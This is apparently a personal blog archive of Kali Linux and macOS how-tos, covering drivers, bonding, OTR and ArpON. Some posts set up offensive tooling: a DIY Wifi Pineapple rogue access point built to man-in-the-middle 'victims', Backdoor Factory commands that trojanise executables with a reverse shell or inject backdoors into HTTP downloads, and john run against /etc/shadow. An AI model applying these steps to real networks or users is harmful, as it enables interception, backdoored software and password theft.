Wednesday, February 11, 2015

HOWTO : Minor fix on Kali Linux 1.1.0

Kali Linux 1.1.0 is released recently. Some bugs had been fixed and the performance is improved a lot.

However, you may encounter that you need to set the volume of the sound device every time when you boot up. You can solve this problem by the following :

apt-get install alsa-base alsa-utils

amixer sset Master unmute

Then adjust the volume when necessary.

Secondary, when your hard driver or SSD is fully encrypted, your GRUB screen is in blue. You can get the awesome Kali GRUB screen back by the following :

If you are using BIOS -

apt-get --purge remove grub-pc
apt-get install grub-pc


* select the GRUB to be installed at /dev/sda, if you have only one hard driver or SSD.

If you are using UEFI -

apt-get --purge remove grub-efi
apt-get install grub-efi


The GRUB screen is already Kali GRUB awesome screen.

Thirdly, OpenJDK 6 and 7 are installed in Kali Linux 1.1.0. However, only OpenJDK 6 (1.6.x) is enabled. If your application requires OpenJDK 7 (1.7.x), you need to enable it. You can :

update-alternatives --config java

Then select OpenJDK 7. I select 2 in my case.

Fourthly, Transmission is dropped in this version. You need to install yourself.

apt-get install transmission-gtk

Known Issue

If you are running virtual machine, such as Virtualbox or VMWare and the guest network interface is running on NAT and/or bridged mode, you cannot access internet on every boot up. You can issue the following command to gain internet access :

dhclient

That's all! See you.

Tuesday, February 10, 2015

HOWTO : Thinkpad Touchpad Malfunction Fixed on Kali Linux 1.0.9a


This guide also works for Kali Linux 1.1.0

My friend has a Lenovo Thinkpad New X1 Carbon. However, the touchpad is malfunction and caused the system hang up. Fortunately, he followed this WiKi (except the "The syndaemon Helper", if included, you cannot login.) the problem is solved.

That's all! See you.

Monday, February 09, 2015

HOWTO : Ubuntu 14.04 LTS Desktop on Mac Pro (Late 2013)

You should install rEFInd 0.8.5 on Mac Pro which is running OSX 10.10.2. Please follow the instruction on rEFInd for the installation. It is very simple and easy.

Insert your Ubuntu Desktop 14.04 LTS USB boot stick. Then, boot up Mac Pro without pressing any key. You will see a penguin icon and press it. You will then see a GRUB boot menu, press any arrow key as soon as possible. Move the highlight bar back to "Try Ubuntu without install". Press "e" and insert "nomodeset radeon.audio=1" between "splash" and "--". After that, press F10 to boot to Ubuntu Live mode.

At the Ubuntu Live mode, click the Install icon to install. When reaching the partition option, select customize. Make sure you do NOT delete the "EFI" partition. You can repartition the existing HFS+ partition or delete it to configure it to your desired Linux partitions, such as / and swap.

When the installation is completed, you will ask to continue testing or restart. Select "continue". Click to the hard drive icon on the left hand side menu bar. Your hard drive (SSD) is mounted. Go to /media/ubuntu/[a serial number]/boot/grub/grub.cfg. Locate the "splash" and insert "nomodeset radeon.audio=1" and the end of "splash". Do the same thing at /media/ubuntu/[a serial number]/etc/default/grub.

Now, you can reboot your Mac Pro. If everything going fine, you can boot to Ubuntu. After login, you should run "sudo update-grub" to update the GRUB.

At last, do NOT try to install the AMD Radeon proprietary drivers from the Ubuntu repository or AMD official site. It is because you will unable to go to the login screen after installing the proprietary drivers.

That's all! See you.

HOWTO : Network Interfaces Bonding on Kali Linux 1.0.9a


This guide also works for Kali Linux 1.1.0

If you have two network interface cards, you can bond two interfaces together to increase the bandwidth (aka teaming). I am going to show you how to configure Mode 0 (balance-rr). You can do it on Ubuntu too.

We need to install the driver.

apt-get update
apt-get install ifenslave-2.6


Activate bonding when boot up.

echo "bonding" >> /etc/modules

Load the module now for configuration.

modprobe bonding

Backup the interfaces configure file.

mv /etc/network/interfaces /etc/network/interfaces.orig

Edit the interfaces configure file.

nano /etc/network/interfaces

The content should be looking as the following. Please note that the address, gateway and netmask may be different from yours.



Restart your network :

/etc/init.d/networking restart
or
service networking restart

To confirm the bonding is working by the following commands :

The result of ifconfig will be looking like this.



Then we check the bonding interfaces.



Description of Bonding modes

Mode 0 - balance-rr

Round-robin policy: Transmit packets in sequential order from the first available slave through the last. This mode provides load balancing and fault tolerance.

Mode 1 - active-backup

Active-backup policy: Only one slave in the bond is active. A different slave becomes active if, and only if, the active slave fails. The bond's MAC address is externally visible on only one port (network adapter) to avoid confusing the switch. This mode provides fault tolerance. The primary option affects the behavior of this mode.

Mode 2 - balance-xor

XOR policy: Transmit based on selectable hashing algorithm. The default policy is a simple source+destination MAC address algorithm. Alternate transmit policies may be selected via the xmit_hash_policy option, described below. This mode provides load balancing and fault tolerance.

Mode 3 - broadcast

Broadcast policy: transmits everything on all slave interfaces. This mode provides fault tolerance.

Mode 4 - 802.3ad

IEEE 802.3ad Dynamic link aggregation. Creates aggregation groups that share the same speed and duplex settings. Utilizes all slaves in the active aggregator according to the 802.3ad specification.

Prerequisites:
Ethtool support in the base drivers for retrieving the speed and duplex of each slave.
A switch that supports IEEE 802.3ad Dynamic link aggregation. Most switches will require some type of configuration to enable 802.3ad mode.

Mode 5 - balance-tlb

Adaptive transmit load balancing: channel bonding that does not require any special switch support. The outgoing traffic is distributed according to the current load (computed relative to the speed) on each slave. Incoming traffic is received by the current slave. If the receiving slave fails, another slave takes over the MAC address of the failed receiving slave.

Prerequisites:
Ethtool support in the base drivers for retrieving the speed of each slave.

Mode 6 - balance-alb

Adaptive load balancing: includes balance-tlb plus receive load balancing (rlb) for IPV4 traffic, and does not require any special switch support. The receive load balancing is achieved by ARP negotiation. The bonding driver intercepts the ARP Replies sent by the local system on their way out and overwrites the source hardware address with the unique hardware address of one of the slaves in the bond such that different peers use different hardware addresses for the server.

Jeremy Cullen find another way the make bond0 to work on his DELL Poweredge 1950 :



That's all! See you.

Monday, February 02, 2015

HOWTO : OTR with Hexchat on Kali Linux 1.0.9a

What is OTR?

Please refer to Off-the-Record Messaging

Step 1 :

We need backports repos :

echo "deb http://ftp.debian.org/debian wheezy-backports main contrib non-free" >> /etc/apt/sources.list

Step 2 :

apt-get update
apt-get install libotr5-bin libotr5 libotr5-dev libgcrypt11-dev gnome-common


Step 3 :

git clone https://github.com/TingPing/hexchat-otr.git

Step 4 :

cd hexchat-otr
./autogen.sh
make -s
make install


Usage :

To to nick "samiux" with otr :
/query samiux
/otr start


If you trust the connection :
/otr trust

You may consider to auth with password :
/otr auth [password]

If everything is okay, you will see all message from samiux is encrypted. You can confirmed with his nick, it will be *samiux* on the screen.

When chatting is finished :
/otr finish

Remarks :

Make sure you do not keep the log.

However, this program is not perfect. If you encounter any problem that cannot solve, you can uninstall it by :

sudo make uninstall

That's all! See you.

Sunday, January 18, 2015

HOWTO : Kali Linux 1.0.9a on Optimus Laptop

The guide is updated on FEB 4, 2015 as Kali Linux 1.9.0a has included the nVidia driver 340.x and CUDA 5.5.x.

Step 1 :

echo "deb http://ftp.debian.org/debian wheezy-backports main contrib non-free" >> /etc/apt/sources.list

apt-get update

Step 2 :

apt-get install -y linux-headers-$(uname -r)
apt-get install -t wheezy-backports nvidia-kernel-dkms nvidia-cuda-toolkit nvidia-driver


Optionally, you can uninstall the backports linux kernel headers 3.16 (if any) as it comes with the backports nVidia drivers installation.

apt-get --purge remove linux-headers-3.16


Finally, reboot. Then, we need to install bumblebee.

Step 3 :

apt-get install -t wheezy-backports bumblebee-nvidia primus

If you need to support i386 architecture 3D software in 64-bit Kali, you may need to install the following :

dpkg --add-architecture i386
apt-get update
apt-get install -t wheezy-backports bumblebee-nvidia primus primus-libs:i386 primus-libs:ia32


Step 4 :

Now, you need to add you (e.g. root) to the bumblebee group.

adduser $USER bumblebee

Step 5 :

To run your application with the discrete nVidia card :

optirun iceweasel

If optirun displays the following error :

[ERROR]Cannot access secondary GPU - error: Could not load GPU driver

You need to edit the following :

sed 's/KernelDriver=nvidia/KernelDriver=nvidia-current/g' -i /etc/bumblebee/bumblebee.conf

If you want to run glxgears with the discrete nVidia card, you need to install VirtualGL

32-bit Kali Linux -
wget http://sourceforge.net/projects/virtualgl/files/2.3.90%20%282.4beta1%29/virtualgl_2.3.90_i386.deb/download -O virtualgl_2.3.90_i386.deb

64-bit Kali Linux -
wget http://sourceforge.net/projects/virtualgl/files/2.3.90%20%282.4beta1%29/virtualgl_2.3.90_amd64.deb/download -O virtualgl_2.3.90_amd64.deb

dpkg -i virtualgl_2.3.90_i386.deb

or
h
dpkg -i virtualgl_2.3.90_amd64.deb

Then run :

optirun glxgears -info

or

optirun glxgears

The next steps are to install cudaHashcat, john, Cryptohaze and pyrit.

(1) cudaHashcat installation

Grab the source code and extract it. The current version is 1.31 at this writing.

wget http://hashcat.net/files/cudaHashcat-1.31.7z wget http://hashcat.net/files-legacy/cudaHashcat-1.31.7z
7za x cudahashcat-1.31.7z


(Please noted that the current version of cudaHashcat 1.32 does not compatible with nVidia 340.x driver).

Then run the sample scripts to test the cudahashcat by the following commands.

cd cudaHashcat-1.31
optirun ./cudaExample0.sh
optirun ./cudaExample400.sh
optirun ./cudaExample500.sh


When it is your first time to run cudaHashcat, you will be prompted for the license and you just answer "YES" to continue.

(2) John the Ripper Installation

Install the required package before going further.

apt-get install libssl-dev

Grab the current version of john (the current version at this writing is 1.8.0-jumbo-1) and compile it.

wget http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.gz
tar -xvzf john-1.8.0-jumbo-1.tar.gz
cd john-1.8.0-jumbo-1/src
./configure
make clean
make


To run john, you can execute the following command.

cd ../run
optirun ./john --format=sha512crypt-cuda /etc/shadow


Please note that the captioned command will have friutless result when your password is longer than 8 characters which is the default for john. If requires, you can make some changes on "params.h". However, it is out of the scope of this guide.

(3) Cryptohaze Installation

Grab the current version of Cryptohaze (the current version is 1.3a at this writing).

wget http://sourceforge.net/projects/cryptohaze/files/Cryptohaze-Linux_x64_1_31a.tar.bz2/download -O Cryptohaze-Linux_x64_1_31a.tar.bz2
tar xjvf Cryptohaze-Linux_x64_1_31a.tar.bz2
cd Cryptohaze-Linux


To perform the sample run, you can execute the following command.

optirun ./Cryptohaze-Multiforcer -h NTLM -c charsets/charsetall -f test_hashes/Hashes-NTLM-Full.txt

(4) pyrit Installation

The first step is to install the required packages.

apt-get install libssl-dev libpcap0.8-dev python-dev

Grab the current version of pyrit. However, pyrit is not updated for a long time.

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit

Compile it with the following commands.

cd pyrit/pyrit
python setup.py build
python setup.py install

cd ../cpyrit_cuda
python setup.py build
python setup.py install


To test it, you can execute the following commands.

optirun pyrit list_cores
optirun pyrit benchmark


That's all! See you.

Thursday, January 08, 2015

HOWTO : Kali Linux NetHunter on OnePlus One 64GB

The most simplest way to flash NetHunter is by using Windows application that provided by Offensive Security at here (the version at this writing is 1.1.6). You should follow the instructions on the screen to complete the task.

I select OnePlus One 64GB version as it comes with 3GB RAM and 64GB storage. It is running Cyanogen CM11 (version 4.4.4) ROM. It is very ideal for installing NetHunter in my own opinion. The current version of NetHunter does not support Android 5.0 and please do not try to flash onto it.

I am using MacBook Air with VMWare Fusion and Windows 8.1 guest to flash NetHunter. The Android USB driver provided by the captioned application cannot be installed automatically in my case. I need to install it manually via "Device Manager". Make sure two certifications (ADB and Fastboot) as well as the USB driver have been installed properly, the process will be very smooth.

If you do not have Windows machine or virtual machine available, you should follow the instructions mentioned in the official site. Make sure you root the device before doing so. This task will be very hard and more easy to run into mistakes. Make sure you have read the instructions on the official site completely and carefully before doing so. Therefore, I recommend not to use this method unless you need to.

After the NetHunter is flashed, you can optionally encrypt your OnePlus One. Before doing that, you should unmount the Kali by issue the following by using "Terminal Emulator" :

su -c killkali

Then reboot the OnePlus One. Once it is reboot, you can carrying out the phone encryption procedure.

After the encryption is completed, you need to re-mount the Kali by issue the following command :

su -c bootkali

That's all! See you.

Tuesday, December 23, 2014

HOWTO : Oracle Java 8 on Kali Linux 1.0.9a

For some reasons, you need to install Oracle Java 8 instead of the default OpenJDK 7 on Kali Linux.

nano java8

Add the following to the file and save.

echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" | tee /etc/apt/sources.list.d/webupd8team-java.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" | tee -a /etc/apt/sources.list.d/webupd8team-java.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886
apt-get update
apt-get install oracle-java8-installer


Make the file executable.

chmod +x java8

Run it to install.

./java8

To uninstall.

apt-get --purge remove oracle-java8-installer

That's all! See you.

Wednesday, December 17, 2014

HOWTO : Flash Plugin on Kali Linux 1.0.9a

Iceweasel

To install Flash :
apt-get install flashplugin-nonfree

To update Flash :
update-flashplugin-nonfree --install

Google Chrome

nano /etc/apt/sources.list

Append the following line :

deb http://http.debian.net/debian wheezy-backports main contrib non-free

To install Flash :

apt-get update
apt-get -t wheezy-backports install pepperflashplugin-nonfree

Make sure to comment out the newly added repos after the install :

#deb http://http.debian.net/debian wheezy-backports main contrib non-free

To update Flash :
update-pepperflashplugin-nonfree --install

That's all! See you.

Saturday, December 06, 2014

HOWTO : Fine Tune of iPad Mini 3 LTE

Personal Hotspot

By default, Personal Hotspot is hidden. You need to activate it by the following procedure :

(a) Settings - Cellular Data - Personal Hotspot - APN Settings - Personal Hotspot

(b) Enter some information at APN, Username and Password. Those information is not required to be real data.

(c) Exit and return, you will find Personal Hotspot option on the menu.

Cellular Data and Wifi Connection Timeout

(a) Settings - Touch ID & Passcode

(b) Enable iPad Unlock, Enable Require Passcode

(c) Settings - General - Auto-Lock

(d) Set to Never. If you cannot find "Never", you need to go to Settings - General - Reset - Reset All Settings.

(e) Enable Lock/Unlock

The internet connection will not be timeout or disconnected even you close the smartcase cover, unless you quit the application.

Make sure your MacBook Air's Energy Saving setting is set to "Never" when it is using battery. Meanwhile, the Energy Saving setting is set to prevent computer sleeping when using power adapter. However, I encounter some problem when connecting the shared wifi. I think we should wait for the release of 10.10.2 for the wifi fix.

In addition, the Personal Hotspot share with Bluetooth is awesome. It is stable and fast but with the distance limitation. It is the alternative of the wifi share at the moment.

That's all! See you.

Friday, December 05, 2014

HOWTO : Sandboxing Firefox on Mac OS X Yosemite (10.10.1)

Step 1 :

Go to the Apple Apps Store to install the current version of XCode if you do not have it installed.

Step 2 :

Install Homebrew if you do not have it installed.

sudo ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

To test the install if it is success or not :

brew doctor

Step 3 :

Install git if you do not have it installed.

brew install git

Step 4 :

cd /Users/Shared/

sudo git clone https://github.com/pansen/macos-sandbox-profiles.git

Step 5 :

cd /Applications/Firefox.app/Contents/MacOS/
sudo mv firefox-bin firefox-bin.real
sudo ln -sf /Users/Shared/macos-sandbox-profiles/bin/firefox-bin .


Step 6 :

Quit the Firefox if it is still running (not just close the browser) and then restart it.

That's all! See you.

Thursday, December 04, 2014

HOWTO : ArpON on Kali Linux 1.0.9a

ArpON (ARP handler inspection) is a portable handler daemon that make ARP protocol secure in order to avoid the Man In The Middle (MITM) attack through ARP Spoofing, ARP Cache Poisoning or ARP Poison Routing (APR) attacks. It blocks also the derived attacks by it, which Sniffing, Hijacking, Injection, Filtering & co attacks for more complex derived attacks, as: DNS Spoofing, WEB Spoofing, Session Hijacking and SSL/TLS Hijacking & co attacks.

Step 1 :

apt-get update
apt-get install arpon


Step 2 :

nano /etc/default/arpon

Uncomment the DARPI and RUN, makes it looking as :

DAEMON_OPTS='-q -f /var/log/arpon/arpon.log -g -d"
RUN="yes"


Step 3 :

Reboot your Kali Linux.

REFERENCE

ArpON - ARP Handler Inspection
Protect you from being ARP spoofing

That's all! See you.

HOWTO : ArpON on Mac OSX Yosemite (10.10.1)

ArpON (ARP handler inspection) is a portable handler daemon that make ARP protocol secure in order to avoid the Man In The Middle (MITM) attack through ARP Spoofing, ARP Cache Poisoning or ARP Poison Routing (APR) attacks. It blocks also the derived attacks by it, which Sniffing, Hijacking, Injection, Filtering & co attacks for more complex derived attacks, as: DNS Spoofing, WEB Spoofing, Session Hijacking and SSL/TLS Hijacking & co attacks.

Step 1 :

Go to the Apple Apps Store to install the current version of XCode if you do not have it installed.

Step 2 :

Install Homebrew if you do not have it installed.

sudo ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Step 3 :

To test the install if it is success or not :

brew doctor

Step 4 :

brew install git
brew install cmake
brew install libdnet
brew install libnet

brew link libdnet


Step 5 :

cd ~
sudo git clone git://git.code.sf.net/p/arpon/code arpon

sudo -sH
cd arpon
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr ..
make
make install


exit

Step 6 :

cd ~
nano arpon_startup

/usr/sbin/arpon -i en0 -D -q


chmod +x arpon_startup

Step 7 :

sudo nano /System/Library/LaunchDaemons/org.arpon.startup.plist



*** Please note that where "samiux" is my username, change to your username accordingly.

Step 8 :

Reboot your Mac.

REFERENCE

ArpON - ARP Handler Inspection
Installing Homebrew on OS X Yosemite 10.10, Package Manager for Unix Apps
Protect you from being ARP spoofing

That's all! See you.

Tuesday, November 04, 2014

Blueberry - The Wifi Pineapple Mark V

REMARKS : When Kali Linux Nethunter is out, Wifi Pineapple is worthless except for the cheaper price.

PLEASE NOTE THAT THIS ARTICLE IS CONSIDERED TO BE OUT-DATED AND WIFI PINEAPPLE 2.0.4 IS VULNERABLE. PLEASE DO NOT FOLLOW THIS ARTICLE TO INSTALL IT. YOU ARE WASTING YOUR TIME AND MONEY FOR SURE.



Hardware

(1) TP-Link TL-MR3020 ver. 1.x (ver. 1.9 at the time of this writing)
(2) SanDisk Cruzer Fit USB Flash Drive (8GB)

Software

(1) OpenWrt
(2) Wifi Pineapple firmware
(3) Kali Linux 1.0.9a or Ubuntu Desktop 14.04 LTS

Wifi Pineapple is created by Hak5. It is a quite expensive device ($99.99-USD at the time of this writing). It is also named as Jasager (in German). The meaning in English is "Yes Man".

Wifi Pineapple is the Rouge Wifi Access Point (AP) to answer “Yes” to all Wifi probe requests by mobile devices. When a Wifi client is looking for an open SSID (no matter the SSID is) in Macdonald's Restaurant or in a cafe shop, the Pineapple (or Jasager) will reply “That’s Me!”. Once victims' mobile devices connected to Wifi Pineapple, you can carry out Man-in-the-Middle attack against the victims.

Now, we are going to make your Wifi Pineapple in less than $25-USD (TP-Link TL-MR3020 is about $20-USD while SanDisk Cruzer Fit USB Flash Drive is about $5-USD) and in a very easy way.

Step 1 :

To download the OpenWRT (Attitude Adjustment 12.09 - at this time of writing) :

If you are fresh install from the stock version of the TP-Link TL-MR3020 -
wget http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-factory.bin

If you are upgrade from the previous installed OpenWRT -
wget http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-sysupgrade.bin

Configure your computer to static IP address :

IP address : 192.168.0.10
Gateway : 192.168.0.1


Connect the TL-MR3020 to your computer with cable. The default IP address of stock TP-Link TL-MR3020 is 192.168.0.254. Then browse to the stock IP address.

The username and password of the stock TP-Link TL-MR3020 are both "admin".

Go to the "System Tools" -- "Firmware Upgrade" to upgrade from the just downloaded .bin file.

Step 2 :

Once upgraded to OpenWRT, your device's IP address will changed to 192.168.1.1.

Configure your computer to static IP address :

IP address : 192.168.1.10
Gateway : 192.168.1.1


Then set the very STRONG root password at "System" -- "Administration".

Go to "System" -- "System" to set the timezone.

To enable wireless at "Network" -- "Wifi".

To enable DHCP at "Network" - "Interfaces" - "Edit" - select "DHCP Client" and select "OpenWrt" by clicking "Switch Protocol". If you take too much time to re-load the page, it is fine. It is because the IP address cannot be get. Just go ahead.

Now, connect your TL-MR3020 with ethernet cable to the internet. Then, connect your computer to the TL-MR3020 via wifi and the SSID is "OpenWrt". Make sure you can access to the internet.

Once you get the IP address, such as 192.168.1.100, you can connect to the TL-MR3020 via ssh.

ssh 192.168.1.100 -lroot

Enter your just created very STRONG root password.

Install the following packages :

opkg update
opkg install kmod-usb-storage
opkg install kmod-fs-ext4
opkg install block-mount


Step 3 :

Format your USB pendrive (8GB) as ext4 and swap, e.g. 2GB for swap (sda1) and 6GB for ext4 (sda2).

Then insert the USB pendrive to the TL-MR3020. Execute the following command line by line.

mkdir -p /mnt/sda2
mount /dev/sda2 /mnt/sda2
mkdir -p /tmp/cproot
mount --bind / /tmp/cproot
tar -C /tmp/cproot -cvf - . | tar -C /mnt/sda2 -xf -
umount /tmp/cproot
umount /mnt/sda2


Step 4 :

/etc/init.d/fstab enable
/etc/init.d/fstab start


vi /etc/config/fstab

Change the content as the following :

config mount
        option target /
        option device /dev/sda2
        option fstype ext4
        option options rw,sync
        option enabled 1
        option enabled_fsck 0

config swap
        option device /dev/sda1
        option enabled 1


The following is the command for the vi if you do not familiar with vi :

i - go to the insert mode and ready for edit
Esc - exit from insert mode
:w - write the changes to the file
:q - quit the vi

Then type the following command to reboot the device :

reboot

Once it boot up again, you login to it via ssh.

To check if the USB pendrive is mounted as "/" or not :

mount
df


Step 5 :

Turn off the TL-MR3020 and take the USB Pendrive out from the TL-MR3020 and insert to your computer.

Back up the USB Pendrive to your computer.

mkdir mr3020
sudo cp -R /media/1234....1123/* ~/mr3020/
sudo cp -R ~/mr3020/lib ~/mr3020/lib-original


*** Where /media/1234....1123/ is different from yours.

You also need to make a backup of the /lib directory.

Do not take out the USB Pendrive from your computer.

Step 6 (Pineapple firmware installation):

Download the upgrade package of Pineapple (upgrade-2.0.4.bin at the time of this writing) to your computer, such as Kali Linux or Ubuntu :

wget -O upgrade-2.0.4.bin https://wifipineapple.com/index.php?downloads&download_mk5_upgrade=2.0.4

When using Ubuntu, you should issue "sudo". However, Kali Linux does not required.

Install firmware-mod-kit on your Kali Linux or Ubuntu if you do not have it :

sudo apt-get install firmware-mod-kit
sudo /opt/firmware-mod-kit/trunk/extract-firmware.sh upgrade-2.0.4.bin
cd fmk/rootfs


Copy the requested directories to the USB Pendrive.

sudo cp -R bin/* /media/1234....1123/bin/
sudo cp -R sbin/* /media/1234....1123/sbin/
sudo cp -R usr/* /media/1234....1123/usr/
sudo cp -R etc/* /media/1234....1123/etc/
sudo cp -R www/* /media/1234....1123/www/
sudo cp -R pineapple /media/1234....1123/
sudo cp -R lib/firmware/* /media/1234....1123/lib/firmware/
sudo cp lib/* /media/1234....1123/lib/
sudo cp lib/wifi/* /media/1234....1123/lib/wifi/

sudo cp ~/mr3020/etc/config/fstab /media/1234....1123/etc/config/
sudo cp ~/mr3020/etc/passwd /media/1234....1123/etc/
sudo cp ~/mr3020/etc/shadow /media/1234....1123/etc/
sudo cp -R ~/mr3020/lib-original /media/1234....1123/


Step 6a :

To allow the victim to surf the internet via Pineapple, you need to change the DNS and Gateway at /etc/config/network from 172.16.42.1 to 172.16.42.42. Or, to change the DNS to 8.8.8.8

Step 7 :

Insert back the USB Pendrive to TL-MR3020.

Switch on TL-MR3020 and until it is booted up. Run "wp5.sh" script (at Step 8) at your computer. Browse the IP address that is showing on the screen. You will be asked to enter the password twice for the initial login. You should enter the previous STRONG root password.

Step 8 (Connectivity) :

The following is one of the ways to use the Pineapple (TL-MR3020) by the way of tethering :

Connect your laptop to internet via wireless or 3G.

Then connect the CAT5/5e/6 cable to the Pineapple and your laptop.

At the laptop, download the script.

wget http://www.wifipineapple.com/wp5.sh
chmod +x wp5.sh
sudo ./wp5.sh




Now, your computer (laptop) can access internet and also can access the TL-MR3020. Victims can also access the internet when they connected to your Pineapple.

Once you want to reset what wp5.sh set, you need to run the following script that is created by me.

sudo ./killwp5.sh



When the TL-MR3020 is rebooted, you need to run wp5.sh again to get the access.

Important Note

There are THREE important things you should NOT do, otherwise, you will brick the TL-MR3020. They are :

First - Do NOT upgrade the OpenWrt from the web interface as the USB pendrive will not be mounted. Unless, you install the related packages again as above stated.

Second - Do NOT upgrade the Pineapple in the normal way (that is via the web UI or Pineapple). Make sure keep away from the /lib directory. Or, if you have a backup, you can copy the /lib directory back.

Third - Do NOT long press the "WPS/Reset" button on the TL-MR3020; otherwise, the OpenWrt will be reset and the USB pendrive cannot be mounted. Unless, you install the related packages again as above stated.

Remarks

Victims need to had connected to any open wifi before; otherwise, Karma will not work.

Make sure the TL-MR3020 is version 1.x, other versions may brick the TL-MR3020.

The ONLY way to upgrade the Pineapple firmware is by following Step 6. In addition, you can upgrade from Mark IV (by this tutorial) to Mark V by following the Step 6 only.

Some infusions may not working on Blueberry as it is not the original one. For example, (1) the WPS infusion does not work as designed on Blueberry as it has only one wifi card. You cannot provide the internet connection to the victims and conduct WPS hacking at the same time. (2) The PineAP and Reconnaissance on AP & Client do not work as designed on Blueberry as it has only one wifi card too.

Know Issues

The external Wifi Dongle, such as Realtek 8187L does not work even the driver is installed and loaded. The limitation of Blueberry is that it cannot provide internet access to the victims and doing the attacks at the same time (for some of the attacks), such as WPS attacks.

It is still a good try to the Blueberry before you considering to purchase an original Wifi Pineapple Mark V.

Reference

Wifi Pineapple Mark V -
Pineapple Mark V WiKi
Pineapple Forums
Hak5
PhiberOptics Youtube
Code injection to the downloading binaries

Wifi Pineapple Mark IV -
The beginners guide to breaking website security with nothing more than a Pineapple
Getting Started with the Wi-Fi Pineapple IV (Video)
Security4Plus Youtube Channel (Video)
How To: Configure a WiFi Pineapple For Use With Mac OS X (Video)
The Wifi Pineapple Book - Free Download
WiFi Pineapple – First Impression
You just can't trust wireless: covertly hijacking wifi and stealing passwords using sslstrip
All about WiFi Pineapple (Video)

That's all! See you.

Tuesday, October 28, 2014

Do Not Trust Your Download Even It Is From The Trusted Source

Joshua Pitts developed a tool suite for injecting backdoor to executable files of Windows, Linux and Mac OSX as well as FreeBSD. The process is fully automatically even you do not know what code cave is.

The tool suite is namely The Backdoor Factory and it also comes with a proxy to inject the backdoor while the victim is downloading the binaries - BDFProxy. The BDFProxy is working for HTTP protocol only.

Joshua Pitts discovers that one of the Tor Network Exit Nodes doing code injection to the binaries which are downloaded by victims via Tor network. His blog is showing how it will be and the interview report is talking about that.





How to install BDFactory on Kali Linux 1.0.9a?

BDFactory is working very well with Metasploit Framework.

apt-get update
apt-get dist-upgrade
apt-get autoclean
apt-get --purge autoremove

apt-get install python-pip


Install BDFactory :

cd ~
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.sh


To update :
./update.sh

Install BDFProxy :

cd ~
git clone https://github.com/secretsquirrel/BDFProxy.git
cd BDFProxy
./install.sh


To update :
./update.sh

Usage of BDFactory :

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp


Usage of BDFProxy :

nano bdfproxy.cfg

*change the settings when necessary

./bdf_proxy.py

msfconsole -r bdfproxy_msf_resource.rc

*if you are working with Pineapple, you need run ./wpBDF.sh to configure your environment

Conclusion

Don't trust your downloaded binary even it is downloaded from the trusted source when it is delievered via HTTP. Meanwhile, please download binaries in Tor network with care.

Please DO NOT use this tool suite for illegal purpose; otherwise, you will be put into the jail.

REFERENCE

Evasion of Anti-Virus with Veil Framework and The Backdoor Factory
Transparently proxify virtual machines
Transparent Proxy (Linux)
Framework for Man-In-The-Middle Attack
HOWTO : Protect You From Being ARP Spoofing

That's all! See you.

Thursday, October 16, 2014

VULNERABLE : Poodle SSLv3 Vulnerability

What is Poodle Vulnerability?

Google researchers have discovered a security vulnerability in SSL 3.0 that allows attackers to decrypt encrypted website connections. The details is in here.

However, some security experts disagree that the bug is particularly serious and they think that it only affect the public wifi.

How to exploit it?

Daniel Fox Franke wrote in his blog to explain how to exploit the vulnerability.

How to test the browsers vulnerability?

Qualys provides a tester online for the browsers testing. Or, you can try another tester online.

How to test the server vulnerability?

Qualys provides server test online for the server testing.

How to fix the browsers vulnerability?

There is a tutorial to show you how to fix them.

How to fix the common servers vulnerability?

There is a tutorial to show to you how to fix the vulnerability on common servers.

That's all! See you.

Thursday, October 02, 2014

HOWTO : CUDA with Kali Linux 1.0.9

The guide has been updated on FEB 4, 2015 as Kali Linux 1.0.9a includes the nVidia driver 340.x and CUDA 5.5.x.

Hardware

CPU : Intel i7-3930K
RAM : 32GB DDR3
Hard Drive : 3TB
Display Card : Two nVidia GeForce GTX 590

Install Kali

Install Kali Linux 1.0.9 on the box as usual. Make sure "secure boot" is disabled in your BIOS before installing. After that, you update the Kali accordingly.

apt-get update
apt-get dist-upgrade


Install nVidia Driver

apt-get install -y linux-headers-$(uname -r)
apt-get install nvidia-kernel-dkms nvidia-driver nvidia-cuda-toolkit nvidia-xconfig

nvidia-xconfig

sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub
update-grub
reboot


Fix the nvidia_uvm error

After the reboot :

cd /usr/src/nvidia-current-331.67
make

cp Module.symvers uvm/
make -C uvm

cp uvm/nvidia-uvm.ko /lib/modules/`uname -r`/updates/dkms


Updated on Jan 8, 2015

Remark : If you use backports version, the nvidia_uvm problem is fixed and the cudaHashcat 1.31 can be running without any problem. The backports version of nVidia driver is 340.65 and the version of CUDA driver is 5.5.22 at this time of writing.

echo "deb http://ftp.debian.org/debian wheezy-backports main contrib non-free" >> /etc/apt/sources.list

apt-get update

apt-get install -t wheezy-backports nvidia-kernel-dkms nvidia-cuda-toolkit nvidia-driver nvidia-xconfig

If you have done the following steps, you are not required to re-do it again.

nvidia-xconfig

sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub
update-grub
reboot


Install cudaHashcat

mkdir hacking
cd hacking

wget http://hashcat.net/files/cudaHashcat-1.30.7z

7za x cudaHashcat-1.30.7z


wget http://hashcat.net/files-legacy/cudaHashcat-1.31.7z

7za x cudaHashcat-1.31.7z


(Please noted that the current version 1.32 does not compatible to nVidia driver 340.x).

Test the cudaHashcat

cd /root/hacking/cudaHashcat-1.30/
./cudaExample0.sh

cd /root/hacking/cudaHashcat-1.30/
./cudaExample400.sh

cd /root/hacking/cudaHashcat-1.30/
./cudaExample500.sh


Install John the Ripper

(Please note that the current version of john is john-1.80-jumbo-1.tar.gz)

apt-get install libssl-dev

cd hacking

wget http://www.openwall.com/john/g/john-1.7.9-jumbo-7.tar.gz
tar -xvzf john-1.7.9-jumbo-7.tar.gz
